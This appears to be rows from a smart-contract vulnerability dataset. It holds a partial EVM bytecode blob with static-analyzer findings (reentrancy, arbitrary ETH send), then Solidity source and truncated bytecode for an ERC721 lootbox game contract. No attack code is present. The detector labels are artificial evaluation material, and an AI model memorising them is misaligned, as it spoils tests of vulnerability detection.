ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d5b6122b3a6f09b15524321759008022c0aeb855294d5a4f6890cd7446036c4e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,126 |
0xf7ceaf2ee0a1e237e624e0e5c8b7cc0d28f01088
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
function MultiOwners() public {
owners[msg.sender] = true;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() public view returns (bool) {
return owners[msg.sender] ? true : false;
}
function grant(address _newOwner) external onlyOwner {
owners[_newOwner] = true;
AccessGrant(_newOwner);
}
function revoke(address _oldOwner) external onlyOwner {
require(msg.sender != _oldOwner);
owners[_oldOwner] = false;
AccessRevoke(_oldOwner);
}
}
/**
* @title ERC721 interface
* @dev see https://github.com/ethereum/eips/issues/721
*/
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
/**
* @title ERC721Token
* Generic implementation for the required functionality of the ERC721 standard
*/
contract ERC721Token is ERC721 {
using SafeMath for uint256;
// Total amount of tokens
uint256 internal totalTokens;
// Mapping from token ID to owner
mapping (uint256 => address) private tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private tokenApprovals;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) private ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping (uint256 => uint256) private ownedTokensIndex;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return totalTokens;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
/**
* @dev Gets the list of tokens owned by a given address
* @param _owner address to query the tokens of
* @return uint256[] representing the list of tokens owned by the passed address
*/
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Gets the approved address to take ownership of a given token ID
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved to take ownership of the given token ID
*/
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
/**
* @dev Approves another address to claim for the ownership of the given token ID
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
/**
* @dev Claims the ownership of a given token ID
* @param _tokenId uint256 ID of the token being claimed by the msg.sender
*/
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
/**
* @dev Mint token function
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
/**
* @dev Burns a specific token
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal {
if (approvedFor(_tokenId) != 0) {
clearApproval(msg.sender, _tokenId);
}
removeToken(msg.sender, _tokenId);
Transfer(msg.sender, 0x0, _tokenId);
}
/**
* @dev Burns a specific token for a user.
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burnFor(address _owner, uint256 _tokenId) internal {
if (isApprovedFor(_owner, _tokenId)) {
clearApproval(_owner, _tokenId);
}
removeToken(_owner, _tokenId);
Transfer(msg.sender, 0x0, _tokenId);
}
/**
* @dev Tells whether the msg.sender is approved for the given token ID or not
* This function is not private so it can be extended in further implementations like the operatable ERC721
* @param _owner address of the owner to query the approval of
* @param _tokenId uint256 ID of the token to query the approval of
* @return bool whether the msg.sender is approved for the given token ID or not
*/
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
/**
* @dev Internal function to clear current approval and transfer the ownership of a given token ID
* @param _from address which you want to send tokens from
* @param _to address which you want to transfer the token to
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
}
contract Base is ERC721Token, MultiOwners {
event NewCRLToken(address indexed owner, uint256 indexed tokenId, uint256 traits);
event UpdatedCRLToken(uint256 indexed UUID, uint256 indexed tokenId, uint256 traits);
uint256 TOKEN_UUID;
uint256 UPGRADE_UUID;
function _createToken(address _owner, uint256 _traits) internal {
// emit the creaton event
NewCRLToken(
_owner,
TOKEN_UUID,
_traits
);
// This will assign ownership, and also emit the Transfer event
_mint(_owner, TOKEN_UUID);
TOKEN_UUID++;
}
function _updateToken(uint256 _tokenId, uint256 _traits) internal {
// emit the creaton event
UpdatedCRLToken(
UPGRADE_UUID,
_tokenId,
_traits
);
UPGRADE_UUID++;
}
// Eth balance controls
// We can withdraw eth balance of contract.
function withdrawBalance() onlyOwner external {
require(this.balance > 0);
msg.sender.transfer(this.balance);
}
}
contract LootboxStore is Base {
// mapping between specific Lootbox contract address to price in wei
mapping(address => uint256) ethPricedLootboxes;
// mapping between specific Lootbox contract address to price in NOS tokens
mapping(uint256 => uint256) NOSPackages;
uint256 UUID;
event NOSPurchased(uint256 indexed UUID, address indexed owner, uint256 indexed NOSAmtPurchased);
function addLootbox(address _lootboxAddress, uint256 _price) external onlyOwner {
ethPricedLootboxes[_lootboxAddress] = _price;
}
function removeLootbox(address _lootboxAddress) external onlyOwner {
delete ethPricedLootboxes[_lootboxAddress];
}
function buyEthLootbox(address _lootboxAddress) payable external {
// Verify the given lootbox contract exists and they've paid enough
require(ethPricedLootboxes[_lootboxAddress] != 0);
require(msg.value >= ethPricedLootboxes[_lootboxAddress]);
LootboxInterface(_lootboxAddress).buy(msg.sender);
}
function addNOSPackage(uint256 _NOSAmt, uint256 _ethPrice) external onlyOwner {
NOSPackages[_NOSAmt] = _ethPrice;
}
function removeNOSPackage(uint256 _NOSAmt) external onlyOwner {
delete NOSPackages[_NOSAmt];
}
function buyNOS(uint256 _NOSAmt) payable external {
require(NOSPackages[_NOSAmt] != 0);
require(msg.value >= NOSPackages[_NOSAmt]);
NOSPurchased(UUID, msg.sender, _NOSAmt);
UUID++;
}
}
contract ExternalInterface {
function giveItem(address _recipient, uint256 _traits) external;
function giveMultipleItems(address _recipient, uint256[] _traits) external;
function giveMultipleItemsToMultipleRecipients(address[] _recipients, uint256[] _traits) external;
function giveMultipleItemsAndDestroyMultipleItems(address _recipient, uint256[] _traits, uint256[] _tokenIds) external;
function destroyItem(uint256 _tokenId) external;
function destroyMultipleItems(uint256[] _tokenIds) external;
function updateItemTraits(uint256 _tokenId, uint256 _traits) external;
}
contract Core is LootboxStore, ExternalInterface {
mapping(address => uint256) authorizedExternal;
function addAuthorizedExternal(address _address) external onlyOwner {
authorizedExternal[_address] = 1;
}
function removeAuthorizedExternal(address _address) external onlyOwner {
delete authorizedExternal[_address];
}
// Verify the caller of this function is a Lootbox contract or race, or crafting, or upgrade
modifier onlyAuthorized() {
require(ethPricedLootboxes[msg.sender] != 0 ||
authorizedExternal[msg.sender] != 0);
_;
}
function giveItem(address _recipient, uint256 _traits) onlyAuthorized external {
_createToken(_recipient, _traits);
}
function giveMultipleItems(address _recipient, uint256[] _traits) onlyAuthorized external {
for (uint i = 0; i < _traits.length; ++i) {
_createToken(_recipient, _traits[i]);
}
}
function giveMultipleItemsToMultipleRecipients(address[] _recipients, uint256[] _traits) onlyAuthorized external {
require(_recipients.length == _traits.length);
for (uint i = 0; i < _traits.length; ++i) {
_createToken(_recipients[i], _traits[i]);
}
}
function giveMultipleItemsAndDestroyMultipleItems(address _recipient, uint256[] _traits, uint256[] _tokenIds) onlyAuthorized external {
for (uint i = 0; i < _traits.length; ++i) {
_createToken(_recipient, _traits[i]);
}
for (i = 0; i < _tokenIds.length; ++i) {
_burnFor(ownerOf(_tokenIds[i]), _tokenIds[i]);
}
}
function destroyItem(uint256 _tokenId) onlyAuthorized external {
_burnFor(ownerOf(_tokenId), _tokenId);
}
function destroyMultipleItems(uint256[] _tokenIds) onlyAuthorized external {
for (uint i = 0; i < _tokenIds.length; ++i) {
_burnFor(ownerOf(_tokenIds[i]), _tokenIds[i]);
}
}
function updateItemTraits(uint256 _tokenId, uint256 _traits) onlyAuthorized external {
_updateToken(_tokenId, _traits);
}
}
contract LootboxInterface {
event LootboxPurchased(address indexed owner, uint16 displayValue);
function buy(address _buyer) external;
}
|
0x60606040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166308e88ab98114610163578063095ea7b3146101905780630a0e78e3146101b257806318160ddd146101cb5780631fe8629a146101f05780632a6dd48f146102275780632bf59135146102595780632e3a0a7c1461027b5780634a2f37a6146102995780634c6a3334146102b25780635a3f2672146102c65780635fd8c710146103385780636352211e1461034b578063657edc111461036157806368fbbab81461038057806370284d19146103aa57806370a08231146103c957806374a8f103146103e85780638f32d59b14610407578063949ee9891461042e578063a41c44751461044d578063a9059cbb1461046c578063b2e6ceeb1461048e578063d43582c8146104a4578063d86afbbb146104ba578063f13cc606146104dc578063f7c8af48146104e7575b600080fd5b341561016e57600080fd5b61018e60048035600160a060020a031690602480359081019101356104fd565b005b341561019b57600080fd5b61018e600160a060020a036004351660243561057b565b34156101bd57600080fd5b61018e60043560243561066c565b34156101d657600080fd5b6101de6106a8565b60405190815260200160405180910390f35b34156101fb57600080fd5b61018e60048035600160a060020a031690602480358082019290810135916044359081019101356106af565b341561023257600080fd5b61023d60043561076d565b604051600160a060020a03909116815260200160405180910390f35b341561026457600080fd5b61018e600160a060020a0360043516602435610788565b341561028657600080fd5b61018e60048035602481019101356107ce565b34156102a457600080fd5b61018e600435602435610841565b61018e600160a060020a0360043516610897565b34156102d157600080fd5b6102e5600160a060020a0360043516610958565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561032457808201518382015260200161030c565b505050509050019250505060405180910390f35b341561034357600080fd5b61018e6109db565b341561035657600080fd5b61023d600435610a5b565b341561036c57600080fd5b61018e600160a060020a0360043516610a85565b341561038b57600080fd5b61018e6024600480358281019290820135918135918201910135610ac9565b34156103b557600080fd5b61018e600160a060020a0360043516610b65565b34156103d457600080fd5b6101de600160a060020a0360043516610be2565b34156103f357600080fd5b61018e600160a060020a0360043516610bfd565b341561041257600080fd5b61041a610c98565b604051901515815260200160405180910390f35b341561043957600080fd5b61018e600160a060020a0360043516610cc7565b341561045857600080fd5b61018e600160a060020a0360043516610d0e565b341561047757600080fd5b61018e600160a060020a0360043516602435610d52565b341561049957600080fd5b61018e600435610d84565b34156104af57600080fd5b61018e600435610daf565b34156104c557600080fd5b61018e600160a060020a0360043516602435610dea565b61018e600435610e3c565b34156104f257600080fd5b61018e600435610eb7565b600160a060020a03331660009081526008602052604081205415158061053a5750600160a060020a0333166000908152600b602052604090205415155b151561054557600080fd5b5060005b818110156105755761056d8484848481811061056157fe5b90506020020135610f11565b600101610549565b50505050565b60008133600160a060020a031661059182610a5b565b600160a060020a0316146105a457600080fd5b6105ad83610a5b565b9150600160a060020a0384811690831614156105c857600080fd5b6105d18361076d565b600160a060020a03161515806105ef5750600160a060020a03841615155b156105755760008381526002602052604090819020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387811691821790925591908416907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a350505050565b600160a060020a03331660009081526005602052604090205460ff16151560011461069657600080fd5b60009182526009602052604090912055565b6000545b90565b600160a060020a0333166000908152600860205260408120541515806106ec5750600160a060020a0333166000908152600b602052604090205415155b15156106f757600080fd5b5060005b8381101561071b576107138686868481811061056157fe5b6001016106fb565b5060005b818110156107655761075d61074584848481811061073957fe5b90506020020135610a5b565b84848481811061075157fe5b90506020020135610f6a565b60010161071f565b505050505050565b600090815260026020526040902054600160a060020a031690565b600160a060020a03331660009081526005602052604090205460ff1615156001146107b257600080fd5b600160a060020a03909116600090815260086020526040902055565b600160a060020a03331660009081526008602052604081205415158061080b5750600160a060020a0333166000908152600b602052604090205415155b151561081657600080fd5b5060005b8181101561083c5761083461074584848481811061073957fe5b60010161081a565b505050565b600160a060020a03331660009081526008602052604090205415158061087e5750600160a060020a0333166000908152600b602052604090205415155b151561088957600080fd5b6108938282610fd0565b5050565b600160a060020a03811660009081526008602052604090205415156108bb57600080fd5b600160a060020a0381166000908152600860205260409020543410156108e057600080fd5b80600160a060020a031663f088d547336040517c010000000000000000000000000000000000000000000000000000000063ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561094757600080fd5b6102c65a03f1151561057557600080fd5b610960611458565b6003600083600160a060020a0316600160a060020a031681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156109cf57602002820191906000526020600020905b8154815260200190600101908083116109bb575b50505050509050919050565b600160a060020a03331660009081526005602052604090205460ff161515600114610a0557600080fd5b6000600160a060020a0330163111610a1c57600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515610a5957600080fd5b565b600081815260016020526040812054600160a060020a0316801515610a7f57600080fd5b92915050565b600160a060020a03331660009081526005602052604090205460ff161515600114610aaf57600080fd5b600160a060020a0316600090815260086020526040812055565b600160a060020a033316600090815260086020526040812054151580610b065750600160a060020a0333166000908152600b602052604090205415155b1515610b1157600080fd5b838214610b1d57600080fd5b5060005b81811015610b5e57610b56858583818110610b3857fe5b90506020020135600160a060020a0316848484818110151561056157fe5b600101610b21565b5050505050565b600160a060020a03331660009081526005602052604090205460ff161515600114610b8f57600080fd5b600160a060020a03811660008181526005602052604090819020805460ff191660011790557f1350a997c6c86bcc51dd7e51f7ef618d620e6a85d8fdabb82a980c149ad88d47905160405180910390a250565b600160a060020a031660009081526003602052604090205490565b600160a060020a03331660009081526005602052604090205460ff161515600114610c2757600080fd5b80600160a060020a031633600160a060020a031614151515610c4857600080fd5b600160a060020a03811660008181526005602052604090819020805460ff191690557f1d1eff42eefbeecfca7e39f8adb5d7f19a7ebbb4c3e82c51f2500d7d76ab2468905160405180910390a250565b600160a060020a03331660009081526005602052604081205460ff16610cbf576000610cc2565b60015b905090565b600160a060020a03331660009081526005602052604090205460ff161515600114610cf157600080fd5b600160a060020a03166000908152600b6020526040902060019055565b600160a060020a03331660009081526005602052604090205460ff161515600114610d3857600080fd5b600160a060020a03166000908152600b6020526040812055565b8033600160a060020a0316610d6682610a5b565b600160a060020a031614610d7957600080fd5b61083c338484611014565b610d8e33826110da565b1515610d9957600080fd5b610dac610da582610a5b565b3383611014565b50565b600160a060020a03331660009081526005602052604090205460ff161515600114610dd957600080fd5b600090815260096020526040812055565b600160a060020a033316600090815260086020526040902054151580610e275750600160a060020a0333166000908152600b602052604090205415155b1515610e3257600080fd5b6108938282610f11565b6000818152600960205260409020541515610e5657600080fd5b600081815260096020526040902054341015610e7157600080fd5b8033600160a060020a0316600a547f20820a4a160ab5657128d1d558082c97ea28b46cff34c02c56100ca1b0142a9160405160405180910390a450600a80546001019055565b600160a060020a033316600090815260086020526040902054151580610ef45750600160a060020a0333166000908152600b602052604090205415155b1515610eff57600080fd5b610dac610f0b82610a5b565b82610f6a565b60065482600160a060020a03167f5fdbe7ea7cbf16c58fa969a1242699ca405e738cc0ac596ef2616ab64fc772bf8360405190815260200160405180910390a3610f5d82600654611100565b5050600680546001019055565b610f7482826110da565b15610f8357610f838282611162565b610f8d82826111f4565b600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b816007547f76baa403bcfaf62d12d84b8d84fbc0cbf8a20e6934142fb845dbc45f129357d48360405190815260200160405180910390a35050600780546001019055565b600160a060020a038216151561102957600080fd5b61103281610a5b565b600160a060020a038381169116141561104a57600080fd5b82600160a060020a031661105d82610a5b565b600160a060020a03161461107057600080fd5b61107a8382611162565b61108483826111f4565b61108e828261136b565b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a3505050565b600082600160a060020a03166110ef8361076d565b600160a060020a0316149392505050565b600160a060020a038216151561111557600080fd5b61111f828261136b565b81600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b81600160a060020a031661117582610a5b565b600160a060020a03161461118857600080fd5b600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169055600160a060020a038416907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35050565b600080600084600160a060020a031661120c85610a5b565b600160a060020a03161461121f57600080fd5b600084815260046020526040902054925061124a600161123e87610be2565b9063ffffffff61143016565b600160a060020a03861660009081526003602052604090208054919350908390811061127257fe5b6000918252602080832090910154868352600182526040808420805473ffffffffffffffffffffffffffffffffffffffff19169055600160a060020a03891684526003909252912080549192508291859081106112cb57fe5b6000918252602080832090910192909255600160a060020a03871681526003909152604081208054849081106112fd57fe5b6000918252602080832090910192909255600160a060020a038716815260039091526040902080549061133490600019830161146a565b5060008481526004602052604080822082905582825281208490555461136190600163ffffffff61143016565b6000555050505050565b600081815260016020526040812054600160a060020a03161561138d57600080fd5b6000828152600160205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790556113ca83610be2565b600160a060020a0384166000908152600360205260409020805491925090600181016113f6838261146a565b50600091825260208083209190910184905583825260049052604081208290555461142890600163ffffffff61144216565b600055505050565b60008282111561143c57fe5b50900390565b60008282018381101561145157fe5b9392505050565b60206040519081016040526000815290565b81548183558181151161083c5760008381526020902061083c9181019083016106ac91905b808211156114a3576000815560010161148f565b50905600a165627a7a7230582082f3d4acbe840db5d014e5cceb11f